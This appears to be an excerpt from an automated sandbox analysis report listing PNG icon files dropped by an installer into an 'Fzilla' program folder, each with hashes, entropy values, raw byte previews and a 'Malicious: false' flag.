.=......>D..j.....e.....x....`1_.H...$.n...F...o........l@.........].rk..o.h...X..#.%....x.@..fn........,..D.]......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	7.772299499383635
Encrypted:	false
SSDEEP:	24:+Ac4u5OORqWoGfn3rETFhIMNWkKWPxlFG9BUG+W1HYF0QTz:+AduNPoGfn3rtSjKWPxG95dHC0QTz
MD5:	30AEB749D4F4AF4F557B4AC3CD23D456
SHA1:	5C6EE30CD6B10920854C2A423069D04CBCADEEBE
SHA-256:	DD79518BA7FD89DE6E00F6E25F6FA12C158D316A922498BB0E77232213BA8606
SHA-512:	DAF8FE7E70C3E851D84D35C567D7DEC4130F2910CA2F1BE5C005B206FEE428B543D24E945980183FF896FDD9874EB2DFBD3D256E191CBDC36BADACC45701C6C8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....:IDATx..U..lI.=...}..m..Fk.k.........m...t..j.t....8..WJ.S....lmh.......E.X.....i..>....&.@....J..$IR.q.~9.$\|....V.3.....(..........%A....R,......@....Q...<C)...1U.{.......$.}y]O....V..sozz:/H.e.d....B.P.7o....H..b..4.....wn.p.:e.Taxx...L.$..)[..t...K.}M...l...j..r..a...8Q...h}f...>a.jX..l.v.m..u.Y....\U..?%l&P.f?y...~.8.Z-U==;.KN=.......8.......?.f......4..T.U@1o..I.S..6...d..3T.6/G~id<.9...Fz...Q...........&)i?..........97..f.H.....S]~.2.w.~8..EP.. ...^.... .V..D.^..2.M.A.f..-......v...=i.....=(...~.....~..\|z.....y l(B..0.,.`.8.E8`...n.Cb........~..y...$..C...(......aiY6....t...{..N=pA*..#YV..G...?U..weH...K.......!.fq.E...E..>q...mA....c....s.n.X0b...&.r.T.e..8.....M.u..".......Cl...'p..K1Z4zj{u...../&!.p...F... .<z..0L.HO....`.'...@.......)....es.4)....lX.W8..."x..Y%.Rd....s....QI...~....i8!.A..E.1$.A..\...\.U=...RBW.X^.I=.%\.....M'Bw!yA...u.....f....'.).P.#.x..L.d...."..^(...A.m...Q?..O..~..!#.....KF...0.1t'.n.x

C:\Program Files (x86)\Fzilla\resources\tango\32x32\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.650027473572644
Encrypted:	false
SSDEEP:	12:6v/7ioKOkrj6PIpYgterL1oqsM03/LL9ZhrvJrlQDKIkxUSsLjmlm+CiPz1TyIqM:uKJjPpYh1oqOVTrv7QDpW83iLYC
MD5:	20D5568A60308A123D83796BEAAE7E29
SHA1:	3F1310D65FA19FAEED9C9D37DA547F9F7AB56FA7
SHA-256:	65DE672EDBE6242F051A5703FB3BDE256391662D6FF203152518A23690D5183A
SHA-512:	295D8820F24D816A3C93C320E1FA3FB3E04443DD3048394939442574E0B36EC2906E3E34C8DEEDC79518B1314C22FCF7BB619BF932DE7ED6DA21FB22480B529C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b@..`.9B..._........y.,..Bl.v....../.H1..dm.....sk..+..4o.{......YYY.L.&iS......"....P...3d.4I.rP.p..._)((..........dCC....F....8y......j......../.~\|..Jww7TUE ..e0.$..#M........DDQ.h......K...)..b...'..w......hlj......3<~...^..W.onn.y.....c$.......==.....c.\........$.7.....AGG;.)..n.=.....]{.c.N(J.......V...^..=g......D.1.;....d.].a. D2#../S..tC.3&...H.......g#}.X...@.v[[+8{..!P\__.sr.'...[.........c.Y]]E.f...o.>B...8&N.r..y;.9.o...\.&..8.....y<..+p.....z.?.'...&..x<%..l<.%9...C..Q;.n.1.o.....u....f ...h.F5?...l.;...1.!.A....**.....&..'OKKCee.:<<\|...U..{nNNN[ii....!..YVV.eeeu,\.p...`.o.m.s..aAC&..O.<.x.....,...! .../.Rp....\#.Jp.`&8..E0]0C"S..`....D..o.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1769
Entropy (8bit):	7.876413498361021
Encrypted:	false
SSDEEP:	48:wmWZw3bG7v4xiKaCM0qrjEw8Vi6rsAxeF6uLNXka9ITKd:X3bDM3rjh8ViCxq6upXcKd
MD5:	2C02B6DDC4EBB751F97995900A462DA8
SHA1:	88D5B973FF0A7707649DB945C3EE2649CC10C38F
SHA-256:	3E388755B702AC9C6207782D29594980678B8645DBAE56CC1A6FC465F33FDF96
SHA-512:	F737465DA65D762FA1A5A838BA365924C160D02E25617561E810DDCA457E12A38EB8593D932FA7D08AB70A36208D570C0039541DA2105850578B62D4EA8EDC3A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....4M.........m...l.S.q.m.m.}6.....\oF..-....VM...^...O\|....o...R..s.QgS..M...I......R.o.(z......O~.....v.m.I.0..!.{...l.[....\|.3.8....1...w.x.........+...Q.n...k..jl..Xg.Jq.9....=.../..].Mar..)q...~..}.G....%..T.V<.!7......_@..W...\.f0.....s......J....hE1...8.@..=>.\>.{..e...N.n../.....z..,.,@H_.@s..\t.$..%........x.....8.....w.'.$ .5..:I..+.:.Y..z\|......c...,...+.4{. ...si.iE...._1z={......Z..T...,h0N...%j!v.H.w..3%.W..H`.. .#1...av:..p.\|!..N....N.Y....y7r.=.d.T...s._.K....mp0`\|4O!.24.X:...bfF.}..Y!ez.N..;....f.j..1V...i}....h..G...\.p..e.!..JE........eWL...E6QC7.N..Eqz..T....)...[W..yz....'...Y.Z.&..J]...q...+.-7.f+.0Xqd..L^.}.g..id..G...$..@..d.d..F'z..Y.-q.!...g..\z^99.....;..........l....=Y..Q.4x.k.2....Pp.....q.....bz..o....^s...].29..O;O'.T...;o(q..#h4..f.BQoIByX....!h...#U..........{F.n...].s....w .....t.m{......%/U0r..n.!.lF....=UP!J.(...5H.....3..Z..@.?%..j.....7..9v2.. c..h..!gU....n:.6

C:\Program Files (x86)\Fzilla\resources\tango\32x32\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.679467645169867
Encrypted:	false
SSDEEP:	24:Rl7DPUG+Zy4rP78pnJBbD/lzPGc+rrVuBGB:RFP1CF78PBX/lzPGtrVuBo
MD5:	68FD3F6DCD98DD9007A07EEECEFF296F
SHA1:	4869D25D4B1756D5192635DFD06016F9AFBE638C
SHA-256:	D6BBF7732BD701770530DF7724F3A7729D99758A171DA947552D98D2EAB62DAF
SHA-512:	534777D5BBD71A1774E4A2A25CA9D1627C66A79BF15B13686BDC1FABC615200169A5B44FD57DB63BEA76340C3ED78EBEB157231546B672F2D6AF98FED5638EF3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..`...) ..b..r.....:--5./..XG....m.R..c..v....S\|.m....6......[....#n.D......5....].........A:....../..it......].v....#..D@.R.@...X..n\.{...^....Cz...O.!..B(..Bxd......).l.QH.. ..\.K....w....9:;....\.~(....O....DD<......=.'.Maa."...h...>}z..ZI^& ....D.k...pVO..f-[..9u...H.f.......F."..c..L......m.........2;;......$...G.4Z.H.....BJmc.."%...=Q.+...\.+..DD...W3.............w..K../.?.._.n.c\<.A.j_&...w.N...f36S.a2...^.O....bO..z.....I.I1..\.}..U......P.....[....9s.......MAFF.d.OW..e5V(.)1.DM..u...!6>Z....&11ferr..;w.4o6.{.n2.E...P_W.@./.D.x6.M.T!-=U...P.........x_.........z..&..j.j....G...!...........g0.th.A......Jz.GI`.....p]Ttx......h.,...... ...L$..9.....kzz...L@..n....BI........{... .82.,....c.D.Fh..>p\(.N..w...>{<.;{II............\........Q0......p.(!....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1367
Entropy (8bit):	7.781283060302408
Encrypted:	false
SSDEEP:	24:cMiNeraT1CWQHwghcuSAwK+pcuPHqeXs4rfV4B3XQ0V6W:2NetVQgoAwTccbXsoV4BHeW
MD5:	84222D4A0FC4CE352D34746DDC54AE0E
SHA1:	9F385D46DE6D44E1E67A3B8452B833BA17B0CF69
SHA-256:	9AECEA403F345300968674E0869FDD10B493520ABEA451EFEBE89FA00F80F57C
SHA-512:	6B7455F6A7005145B483A2F2B2AC448D420BB8ACBE1B1E677B421756D4485A9887FECC403591EBFCDC494ADC9CCCE63BAFFA3C557DCE2C47B43EF026E3ECC5BC
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..%I.}U..<.m...8...l+p.m...w...UY..nGEG...M............y.....v2...S._.c... "k..................x....\|..}..6n.D.b1..`.l..a..-..._....V.#...{`iyY..y#.R......a..I3J_~.....).AM.4c...)~.~1..D!.....q....\|..$:tj...U.6".J.bR .d.....?,..%_..................y/.w.ih.=.).yn..@..5G)...W...k./. .\.9.`}.9......q.e.BJ..UJ...X.Ja........!T.....%q.\.$...L...$.0.."p$.y.P........L..@.o.1..X..%..>\|)(_c..8.....`.......F.. z.OyH..H..N'Q[Wc..D \|..p.N.A....@b...i/p..m......#..C]..i7.,...).. K.._..O`.vU.m.`.9h.;>..mlZ...U ..'..^.@.^..C'B@.X(.....@.$....a..o@.c@..8r.)X..[\|..;8.c7.b..Ie.=.x..F.......T..........k..\|_a...Pf.lY..........8j..x..g..;.#....n?HS.u......).G......7...B. ...`....3(.6....".@r..B..-.0#..6.....8......(o~(....q.'..aM...q..`.. _.l.B.W....LV..S@..k..G...SO...q.7a..@%...8.N.yC...a.^X...R.\|...-..a...+... ./.........x......7.d?........_.h$..DC..<_.?TT...&.cB...s....3.]:um0......?..i..ST..!.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.739052263685285
Encrypted:	false
SSDEEP:	24:XftadLiO/XIwU9S+Ctrn0KA5SaGXWy3IuHTwlQ:XYwwwS+Ctrn0KlHYIx
MD5:	901CCE92D0A7C4DEC01BBBE6FE988C70
SHA1:	61E676E36CCC8C4D99DA5B8FACA3D5273FEAC860
SHA-256:	5FA645026CFF5EC73D41EDA3C21DBDA0CA008401FBD7BA61169486E3FF462C56
SHA-512:	024D8AAFB095778E50064C268413FAB34A3809B8334CEBC025B2C8A158B486F3251CC59565EBE4770C219F1F28DD7B5800E5224C461E3488095B847C89C2A16F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....,I.@.m.q..g.Z...m....Zc-......g..P./z...._..Z.qQ/...A(d.f..Z...E.LfCP.\./.......'.Jo}f9..'..O..j.$d.......Z.-...J..+.n.......#P.x....E..I.._..C.?.,.t9.`.[:P.].MH.J-.-.@.1 ...P.h....C\|.........u8N.k:...4w..E..P..Q..5.4P...A.......&m.;...C.p..[...zhB.Q..oI.Ih..=.T.v7.\|'0a.>........m...h.40P@.5..x.7..{.<...s%...]04<...D..zx.P./......=..S...@$..M.I.2..V...+%.u..+05=.'....._.........Az.j..~.....8...".......EdwM..9...@......V....Kp.`....9...i..K....AD..x7#..?H ...,F....<(e.........I`L3.}.j....wl....-.s.yIeu.....ID_][q.~.....=......M]&.0BZ...^.8d...6....%6>.....;Q.%>.O..\...mk.$..Q.}.e.Zy...%C.k.!.[.+V....!P.U0g.l.(*).QX.7........ ...8..0...!.....bll...:..V..V....v.=..^}..(..j....C...~e.V.....8'..z'. 8....j..$p......>.Hd..'rC.c...i..H.Li.-/GN........%.>b......6~1r)m..J../v..I.Q^.g.}.!6.....EF..f..b...4._......}$K")%..9.P~...q.}...8...i.h4..s.A5.c......Z..^.........O.A6.c..........y[v..Gp..X...d.......

C:\Program Files (x86)\Fzilla\resources\tango\32x32\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.8489044757606194
Encrypted:	false
SSDEEP:	48:OtIbOcDexb9oPeSU4nwCd4IeQiK/Kn6kgCIXrrm3q2bJlxR58d6a2:OwEoSadgQxK6BzXrr/21FA2
MD5:	F92EB5774133689D728AF776337F0945
SHA1:	F66E00CA29940034BCBA79D4F0641CF4AD67D77B
SHA-256:	1E21712503290748CBFC1588A3746A74D4EDA5F846A2A8E0F3B8E313CF3A58DA
SHA-512:	E8D541389F30CBB44DBB46BB4BB2E0D066B2E6B77A804309DD5A2EFA2550B95F4BA9D4E0AA6784DAA1C49CA127381751E814733E97005B9D68FE5E02981C9E39
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....>IDATx.........E.^..w.m.m.m.....NG./IM....N...u..s+..[...G\|z......w.B..RV(%.....s.T..R\|+l...a....^.......\|jH:..2.Gje{...).Y>.%...!.B.............Nt4..#a......D..-(~P\89..Oc.QB..X.]........J..4d.+.L:........../.t1.Z~F(...tf$.8g?..t...2rO.2>....qG.6..F...\(............L~..../.r1....'.....-w........c@,...k~.q.8.....j.H...3.J.D.lAk ...PYe.0.`..&...[.-6>...~....{.r.^.......].1.w.../.._.&..~.^M.....t..^%&....p.....R. .B.~.....wP.8.x.....0-.H....b..Gv..?....W[i...4."qMS.@..H@.....G.]k>.Pw.u%.u......R.M/F/.XZ.pn....+0....:\|dj..._O..^-q.).[M&.M...C=3.;.>.Q.{V.{...S...~..\|..7....:.P..A........1.v.B..^j0.&..1.D#.s.H...k.Ho..?...._.3..9.,r...HE)A...@s..E.M7.i.3e...kY?.B..Z^J...L......s.f/... .....x.)...^.^...J.#..;=.%.."%.?.X.........-/....r......d0.^....5q....[..q...a.ne.z.C..,.%....H."H..e..E.C..8......._.,.%....gB.(...k..sHIs..).S.z`.j....0+.P....s{.....,............G....P.<..6. .?..+.......@.j..b....

C:\Program Files (x86)\Fzilla\resources\tango\32x32\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	7.827872038681461
Encrypted:	false
SSDEEP:	24:Ki4VOXeL64iWmLh0MUcKEw2lCJppyfu3QA8OG6yLXDO8R6uOPwQfH98qADCK/OcK:wVOuL3BMRi00ppyf0ydDZcuOPLfHwehf
MD5:	DF82DC8672F50E7C523E90B0E84188F1
SHA1:	90235C8EEEFE25A534EC07EC5C45B7496FB998DA
SHA-256:	F629CF6AAB12FE6850F1D120637A9ACCC6D0D759C8330D1969DE71A5D1DDF81A
SHA-512:	D096206DF48E5257CD846ECD51C3498454FC46CA007257CDB7E1E2C1A63CEBDA0F39A1BBD4D53E13829623C163204C3044723960B2942761E712E3AEB6F2E378
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..,I.=..<.m...mDk;v~...U...\|....iT..d.vgv....S.V_...?..7a.^..`..7..^..J....p.n...v.R.Q..{..&.s..9m.....fl....[...a..eA...FH.P....c.@....4;.#OQ....$...#..K{0.;.}...Y.f=>L.~..y.....j.t.m.0..\|a.w.........e.......<>...b....\|.L9...f...T...k..#M.}.[..e...@8...rp..d.\|-..k......%%...+b,0..O..B......o...s.S..A..i\q..8..0...J..J....^.....%N...G!.`...6...D2E..1........p.]...y..).=.A(1S(b$eL.^..@@TS.(.BN...........?.L..B.bk..V..@.ZE/..6.@.-x...X................A.,....(.80.a[..^..rC.J..E..j..?~8.j...R..J:.pL.r...d}V..$.na..e....7.S.P@.TspI..%.j.>.J)....n........N..`....=S..s...J.JJ...=^n-o......$ F.......-_..[.....5.Y0Pi....8.I........".}.+..i.........D.......YU.D...g..4B.....d7. 6.!..9..qG..s[.B.v .]t"%..$.J.Xe........>L.6 ......D(.=.i.z......VmB.........8..B............Cc.wyb1.......~...;......s7.x..Gx....Al..J..1...... N.{.{.w.9e.zq.'.q.p...%Kt[&I..........jb.(.1L..._o.?.~.r.R..).......7n.s.3u

C:\Program Files (x86)\Fzilla\resources\tango\32x32\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	455
Entropy (8bit):	7.386413558957136
Encrypted:	false
SSDEEP:	12:6v/7kB78LwM5ozMUKAITJ0o5peIUD2/pXhVgO3X/ztvD3B6Ot:9BtzMGu6oTIDERjN3Ltrnt
MD5:	93568F9276505E35C4DDCEF82C8419F7
SHA1:	7AE90AE578156B56E0484F35315F927963A4FAC9
SHA-256:	D44678A0C955ADA88F5335B791F258EFE8B29D7FE3F91FBF7410CFB05C0B949B
SHA-512:	ED24D581E56CC4238F44C23357598E71842463B96000390532292474A710964861CF950909F37BD942500A37B61E57BDECBA838908B0F2646432AE5C0A7D190F
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.....A.E_....j.m.6..6b.m..h..[....{r.ygD=3'_.Bk.].8~....f......I<.....B#...Q.S5....!...V..C. .JQ.A. U`..A0...t..2P.A......MbF..>.......?...7.+...8....o/>.v..TB......n$?.{..5..J..ZP...?c>$=.z.q&\|&.m..m....^n......A..0f.;....o.........g...8.ap0z.o.s.......PV ....K........z...B.i.%.3j,.T...S....2..J...4V...ILe....T.`.N`...Z.Xa..C..R0....&..0.....F.<ZNkxXF.i..d(M..<L.a..t....6.s.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.753032737249562
Encrypted:	false
SSDEEP:	24:wocTcaOxGzMrw2HZd025MMcBf3AkeD4adfbpzHF0pKw1lglRve7+M8lCq2OYVZ6w:Jc2xeMFn02RcBIkePdfhlq1lgjsalCqw
MD5:	40968C1F1E8ADE30A661B901B152F927
SHA1:	8DE6CCBAD8676EC750297EADA024C3BD3981ECED
SHA-256:	B0074CF43CC1C0349757CDC96132D752A1A8441243FDDC11FE70BE9103A01488
SHA-512:	DAA87FD309265051123D6F1E0D1CB360673D8841A42407CC6D91383C2E566DC6D24EF7CC26B88C72F57213875E141C23A9AF70FDACE8BB82A1E98F6119FEFCC6
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...pdY.@.}/v......vam...rl.m...f..L.w..~.......dq.f....)...C..^v.].v.N'H&S/<...m.@a..g...uk...j..N.4.....@&.]z...F.w..I..<...D<..)..)......PU.......s.c.....g..\|.2JlYm...).P...G.D.......4'.....x.%.TvJ@..."..7..Q.9...e.f..4........Vtz....$..$......%...`K..........."..\..D..d.....6x...3.........7>q...........1pl..&.%0.<x..DJ..t.q[R...OfQ."..?..pAE.......RR....#..+/...Z..A...`.....aa.i...P<U....9..w..l....s(4...Kf..&e[..[.6..4n...<.....cP.T.5......k.........Xki...x3..u...5....EQ.....9C&..6..vC.C..B....mb.%.0E..+.`..."x..u4'[.(-....[...IS'Q.l&k..]~KQ..q'.h....1.<s...nK-...j....?.t:M&.!....7_.f.=ZD..v...9.=r.I"r..7.....@.......&X.K.a.7...5..O..........s..E.VWWM.......U.kX....58q..f,..H.p".R.8p...Q.c...oP.aH$...8.L&....A.^\|.J..Ru..X...,,.X.og...P@0.......N....$.o_......0`.u.u444...../..............^b.o.ND..eK..4..n.. ...[.`.r@..x.*.$..C........yzC}#...9s...4N..N..X.z..@.H...-..E.VF.@...........'..`..n.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.884713691058794
Encrypted:	false
SSDEEP:	48:OOMRdNTdEqzcrus2KekXcU4WpvICYWH2RASDhhQq2ZYSMz:Op/NTdEEsu874WxICYfASDoGSm
MD5:	516DC24F3EE5A9FCD4BB5997405FADD7
SHA1:	0D97462B2AEE06A146C6A6AA87647788B566902C
SHA-256:	2700DAFAA6CAF16BAD4D6683EBC95670B67E92EB2D2EF3F44D5A2EED8A8E2639
SHA-512:	5397132F58065FB2914442A330B602F80A65FD8036E735BC305F6938437D22714C6410488D76A1DA309CD229B8930FBB4D3F4142582FB8AD0E267B927AF104EB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...t._...Q..&......Y...)....uS......$S.J.fP...}.,.......}W.....o+zs._1.k..@hz^...O7..@`.D(<..X..mD;QBx.+8.+..U.........3....j.."..O....... ..1.<y....J.z....DE...&.;vX..3g..?[1).....B....G..&......B..[.....(................%"<..."s........n.yf.7n..F.g?.A.w....I..Th.UR.Dt..A...G_$..d.....3......ho.D.<..O..,_....D&e!9[...:D.W!;.XkXQQ9v...k..+g......k.{.........4.!uzs..ec,......^$.PP.DU..U.}P6...(x..B.d.\|D'.....mmm(/..5g.....U......S.@..#T..8.v..1...R......"Y..BU#.....Q...CQ..M.-l....n.....#.6'Xbj..o...........J.l.A..@l.FD.C..b[...i....BTR...P..ht.....R.;....-GQi....)A_A.Rc..K`I..p....[U<.+.C..B.!)O%......6F......U><<...I.h....P.................,......J...I.....5<.j>..........~../c.o4s....s.FS..`..br...,. .-@5.."....Q\..CV^.*.......!(...j.o...T...\|....)..d@......hx...I.y..)..f$.v!M...!b.9.>..TN0......hD......<......H!.Qr..8c......T....:....s.(.Cp..q..R."<..1E....-HL...\|xx.MMMH..`.I....uKv&.......qb..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2045
Entropy (8bit):	7.895687206217452
Encrypted:	false
SSDEEP:	48:OBS2RHIZj4IgsrW4V+d8HSErk9H4HetAYBd5GTUFJdqvgO:Os2RMvgsK2pHSP9H4SfyTUlqvgO
MD5:	EA15E0D9E67BA036C4583AA35E840538
SHA1:	15DD3E2CEE29F34787CED98288557334FDE46BE5
SHA-256:	A71C00264D99FCF1A1BCC2BCDB5B0F3B8CC7AE3EBB387C4D88B8432EE5CABE1F
SHA-512:	0D06971C3C66A6FAFFDB35CBE937580986288FF505EFDB3A0B13AABBF36E1BBD9102F815D20F0834732C849A4720B47F686995E80BE073F865EA4056EF6D3676
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...T.Y..wU..C.#....=.......g.....{\.g....+.#..Mk.w....w.oU....9e4.6..?....2.....=1.-1-.p...m....O....mlR.}D...-.Mc...c\|.;g=?...7o..g.=V.Z....wL.yg..zK....~.~.l.S.OL+.;u....<V.....s"..v_.27?..~..7....0uQ.}........E.......'?a.....=.My.Svw..6k.Av+_.9z......[b."^..!..P.II..j....Z.x..Af...W.1{.A.<.....P......d...s...!.=.EG..."e.f..M'...:...Hr..=....1v`....3[-&,.z..L[..g.`2.a...u....`&.^..#o.....@._.{.y...5.......S....68..!...[......nU...LM...d...4....a..CbB..6..C..F#.=.....K.E..\|...&....=F..._.C.....VH....{t(>N...O% ..~.<...C.2$_....[..Q....4..Or/...L..a.u.q2;.sV.....t.:.......Gt.1.Z.d5.V?.}.G#..}./q..jP..>.p...k.y\.n..%...L.p..@..I..p.M........G'..#&a4.O...j...o............0o.Q0..M.h.z.......H...F.Zq"3../......ps....O..S_`......xb..,...%-.j....87'..g..!......rO..)..]..B.v..D.U..\..W.L......FQ.K.\|&......]..CN.S...\C.7.TT......Z7........bi...x.*..[.c.6.y....j....y#.y..j._....2..Zu"..URQ.U7.. ..)..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.76197553556176
Encrypted:	false
SSDEEP:	24:5Hoo09A8o2aUoSfW+kvL0MM2j1FoJ3ojxMP3UyWGZ4LrgnuZ:Gooo9x8XM8JkyP74L2M
MD5:	25BC7296E2F6E9BBC20F50A0ED45D8EC
SHA1:	2807BB2019D2A5F04A254B18D29E439DC75E06C8
SHA-256:	76BBE1F83A136633E30FCFF0A47AE88CA4D149A595FF8320AE47A53722EFD408
SHA-512:	276F503054E2B4E8F6369111A5421C717A36EAF7E8CEFCD815BA61E151D0D8C13F72BBFA08622ACBE589F6400705DAE3C81DF68AD748F28962EA2D5E659CB641
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....-IDATx.....H..Ow..?.6.m.6.m.m.m.......6...g....7.._.yQ.J...n..=.....d..Co....@.+..W..-.~....!..M(.........S'@).S.....;..(C.X{cU..S.....Kqy...w..U&..e.-....4...0...._.....k.#W.\|sn.F{.)..K8..H$...?....g.I...'KQ..P..gu1.....~...Q`..@.w.A..PP.B.....NJt.:0....9..G...(....Y9.\.m.r..O.i...#=.5......-.o$`.J..sp!<.N...y.w\.p.\9..6m..M7V...he..E.`..a6.n..~...=`.ypU... ..u.+.LB..%.W...p&#m.....".Bp.f..f..T..q..[V....9.q.<...}8vq.....[..7..2K.ly'.Z..:.W.9...((..&..R....p....y....8c.".pb.~..{.^{......n...[..}4....}...a..\. \..\...C.Y......2..?p.! 8.Bl?..%.J.4..}../....fPh:.P.... .=...<..@..e..A..%1bz..Kg;z.....E@....oBUJ.oN...& .%.d.u....b...H8...l.......#...DS.`.......d2r....`.=...^8,..<..Q.?.!........}?.".AVB.YG:.q-.:_y2...9......[..9..}..J.U..Te.^..@..M.L.?... .\|.\...n..c......:.}s.4B...j<../m.f...... .U... .....*f......<v.u....k.......#X".\.<\.V!%..e..e.U9...Q1xj.......y...,..0..4.J..&o&.p}...n.Zw.....o..v.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.450638491357663
Encrypted:	false
SSDEEP:	12:6v/7ijEDTbtWGwTa70cV33FItF5QirGBrTqgjsfvhSQ+:90sTWnFEDGdOmS5Sf
MD5:	14D993A7709C9E5114A01AAAB315493D
SHA1:	58FF2E58A01AED53205829D14E013891E67691D0
SHA-256:	FB7DFFEE4A53DCAFB847B983015483198446B5844EC700D7DBF9C47209141A95
SHA-512:	76BC3A90F205A31F798CD98A9A9C0A71DC286B67D90B6C178A5D9329CB05B1622BBBF2BB6A9157C04C42B009B81694C094F19235BAC17763E9BA58C77D26D086
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\A.E.....j3...m.6b.1k.u..m..m....emU{..\|.....U.....Q....J..E...}_6o.b.y...@.k.?.,...S...Q0>..C..R...5e{...5..G..VB..3yS.t.............(.......<A...v(0.!X2g,...c.....!.M..!j...J.D@b..c...'...a... !.. ...s...9...9....}..O......q..4....{.[$.A.S...9..!.iu......{...!.1..."..D!.$....w8}.yN..b.-f./.a4p.ok....95..=7+{......s..Vl~\|ze#. @]r.).Vlc...R.:.....J. .....{....eMh..Z...$.Z.....U.I...km.y..0..3.f....8.j.3.A....@.~K.J#.].)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	709
Entropy (8bit):	7.564612361908848
Encrypted:	false
SSDEEP:	12:6v/7x015G30ZW7iF7tG4Fwc4f2aTQEy+y07HqmCqHGUm91AgFxk9Ki1yEz/0YD/B:S+GAN7tXzwQ9+yUqlL99KgFxkt1yE7d1
MD5:	12D8C74406C83D429F22171ADC4B7C69
SHA1:	00B725F1D485D76AF564E3AFA4E2A21B35CD842A
SHA-256:	7DC03B1EB21957A539D11D8DD73EA60FEF37F56ACEF5401C0DEE3DC06977580B
SHA-512:	45029B351061DF6A5284D167B0CB8AEB0E88F227BACEFB4F45AEDBB436702E61EB620003292CFCC2DB4C93AFCE44FDD98D7674BE3692983B3F94C586F2E4E746
Malicious:	false
